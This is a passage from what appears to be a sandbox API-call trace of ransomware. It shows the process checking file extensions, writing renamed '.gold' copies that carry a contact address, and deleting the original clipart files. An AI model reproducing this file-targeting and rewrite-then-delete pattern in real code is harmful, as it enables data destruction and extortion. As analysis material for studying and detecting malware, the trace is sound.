Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.535] lstrlenW (lpString=".jpg") returned 4 [0107.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.535] lstrlenW (lpString=".doc") returned 4 [0107.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".docx") returned 5 [0107.535] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.535] lstrlenW (lpString=".pdf") returned 4 [0107.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".xls") returned 4 [0107.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.535] lstrlenW (lpString=".xlsx") returned 5 [0107.535] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.535] lstrlenW (lpString=".ppt") returned 4 [0107.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.535] lstrlenW (lpString=".zip") returned 4 [0107.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.535] lstrlenW (lpString=".rar") returned 4 [0107.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".bz2") returned 4 [0107.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.535] lstrlenW (lpString=".7z") returned 3 [0107.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.536] lstrlenW (lpString=".dbf") returned 4 [0107.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.536] lstrlenW (lpString=".1cd") returned 4 [0107.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0107.536] lstrlenW (lpString=".jpg") returned 4 [0107.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.536] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.536] lstrlenW (lpString="J0107342.WMF") returned 12 [0107.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.627] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=4244) returned 1 [0107.627] CloseHandle (hObject=0x230) returned 1 [0107.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 0x20 [0107.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0107.706] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.706] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0107.706] GetLastError () returned 0x0 [0107.706] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1094, lpOverlapped=0x0) returned 1 [0107.717] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x10a0, lpOverlapped=0x0) returned 1 [0107.718] ReadFile (in: hFile=0x3b0, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.718] WriteFile (in: hFile=0x194, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.718] SetEndOfFile (hFile=0x194) returned 1 [0107.718] CloseHandle (hObject=0x194) returned 1 [0107.718] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.718] SetEndOfFile (hFile=0x3b0) returned 1 [0107.720] CloseHandle (hObject=0x3b0) returned 1 [0107.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0107.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.721] lstrlenW (lpString=".doc") returned 4 [0107.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.721] lstrlenW (lpString=".docx") returned 5 [0107.721] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.721] lstrlenW (lpString=".pdf") returned 4 [0107.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.721] lstrlenW (lpString=".xls") returned 4 [0107.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.721] lstrlenW (lpString=".xlsx") returned 5 [0107.721] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.721] lstrlenW (lpString=".ppt") returned 4 [0107.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.721] lstrlenW (lpString=".zip") returned 4 [0107.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.721] lstrlenW (lpString=".rar") returned 4 [0107.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.721] lstrlenW (lpString=".bz2") returned 4 [0107.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.721] lstrlenW (lpString=".7z") returned 3 [0107.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.721] lstrlenW (lpString=".dbf") returned 4 [0107.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.721] lstrlenW (lpString=".1cd") returned 4 [0107.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.721] lstrlenW (lpString=".jpg") returned 4 [0107.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.722] lstrlenW (lpString=".doc") returned 4 [0107.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.722] lstrlenW (lpString=".docx") returned 5 [0107.722] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.722] lstrlenW (lpString=".pdf") returned 4 [0107.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.722] lstrlenW (lpString=".xls") returned 4 [0107.722] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.722] lstrlenW (lpString=".xlsx") returned 5 [0107.722] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.722] lstrlenW (lpString=".ppt") returned 4 [0107.722] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.722] lstrlenW (lpString=".zip") returned 4 [0107.722] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.722] lstrlenW (lpString=".rar") returned 4 [0107.722] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.722] lstrlenW (lpString=".bz2") returned 4 [0107.722] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.722] lstrlenW (lpString=".7z") returned 3 [0107.722] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.722] lstrlenW (lpString=".dbf") returned 4 [0107.722] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.722] lstrlenW (lpString=".1cd") returned 4 [0107.722] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107342.WMF") returned 63 [0107.722] lstrlenW (lpString=".jpg") returned 4 [0107.722] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.722] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.722] lstrlenW (lpString="J0107358.WMF") returned 12 [0107.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.731] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=7964) returned 1 [0107.732] CloseHandle (hObject=0x230) returned 1 [0107.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 0x20 [0107.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.753] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.753] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.754] GetLastError () returned 0x0 [0107.754] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x1f1c, lpOverlapped=0x0) returned 1 [0107.755] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x1f20, lpOverlapped=0x0) returned 1 [0107.756] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.756] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.756] SetEndOfFile (hFile=0x364) returned 1 [0107.756] CloseHandle (hObject=0x364) returned 1 [0107.756] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.756] SetEndOfFile (hFile=0x180) returned 1 [0107.758] CloseHandle (hObject=0x180) returned 1 [0107.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107358.wmf")) returned 1 [0107.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.759] lstrlenW (lpString=".doc") returned 4 [0107.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.759] lstrlenW (lpString=".docx") returned 5 [0107.759] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.759] lstrlenW (lpString=".pdf") returned 4 [0107.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.759] lstrlenW (lpString=".xls") returned 4 [0107.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.759] lstrlenW (lpString=".xlsx") returned 5 [0107.759] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.759] lstrlenW (lpString=".ppt") returned 4 [0107.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.759] lstrlenW (lpString=".zip") returned 4 [0107.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.759] lstrlenW (lpString=".rar") returned 4 [0107.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.759] lstrlenW (lpString=".bz2") returned 4 [0107.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.759] lstrlenW (lpString=".7z") returned 3 [0107.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.759] lstrlenW (lpString=".dbf") returned 4 [0107.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.759] lstrlenW (lpString=".1cd") returned 4 [0107.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.759] lstrlenW (lpString=".jpg") returned 4 [0107.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.759] lstrlenW (lpString=".doc") returned 4 [0107.760] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.760] lstrlenW (lpString=".docx") returned 5 [0107.760] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0107.760] lstrlenW (lpString=".pdf") returned 4 [0107.760] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.760] lstrlenW (lpString=".xls") returned 4 [0107.760] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.760] lstrlenW (lpString=".xlsx") returned 5 [0107.760] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0107.760] lstrlenW (lpString=".ppt") returned 4 [0107.760] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.760] lstrlenW (lpString=".zip") returned 4 [0107.760] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.760] lstrlenW (lpString=".rar") returned 4 [0107.760] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.760] lstrlenW (lpString=".bz2") returned 4 [0107.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.760] lstrlenW (lpString=".7z") returned 3 [0107.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.760] lstrlenW (lpString=".dbf") returned 4 [0107.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.760] lstrlenW (lpString=".1cd") returned 4 [0107.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107358.WMF") returned 63 [0107.760] lstrlenW (lpString=".jpg") returned 4 [0107.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.760] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.760] lstrlenW (lpString="J0107364.WMF") returned 12 [0107.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.761] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=16588) returned 1 [0107.761] CloseHandle (hObject=0x180) returned 1 [0107.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 0x20 [0107.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.761] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.761] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0107.762] GetLastError () returned 0x0 [0107.762] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x40cc, lpOverlapped=0x0) returned 1 [0107.763] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x40d0, lpOverlapped=0x0) returned 1 [0107.764] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.764] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.764] SetEndOfFile (hFile=0x364) returned 1 [0107.764] CloseHandle (hObject=0x364) returned 1 [0107.764] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.764] SetEndOfFile (hFile=0x180) returned 1 [0107.766] CloseHandle (hObject=0x180) returned 1 [0107.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.767] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 1 [0107.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.767] lstrlenW (lpString=".doc") returned 4 [0107.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.767] lstrlenW (lpString=".docx") returned 5 [0107.767] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.767] lstrlenW (lpString=".pdf") returned 4 [0107.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.767] lstrlenW (lpString=".xls") returned 4 [0107.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.767] lstrlenW (lpString=".xlsx") returned 5 [0107.767] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.767] lstrlenW (lpString=".ppt") returned 4 [0107.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.767] lstrlenW (lpString=".zip") returned 4 [0107.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.768] lstrlenW (lpString=".rar") returned 4 [0107.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString=".bz2") returned 4 [0107.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString=".7z") returned 3 [0107.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.768] lstrlenW (lpString=".dbf") returned 4 [0107.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.768] lstrlenW (lpString=".1cd") returned 4 [0107.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.768] lstrlenW (lpString=".jpg") returned 4 [0107.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned 63 [0107.768] lstrlenW (lpString=".doc") returned 4 [0107.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString=".docx") returned 5 [0107.768] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.768] lstrlenW (lpString=".pdf") returned 4 [0107.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.768] lstrlenW (lpString=".xls") returned 4 [0107.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 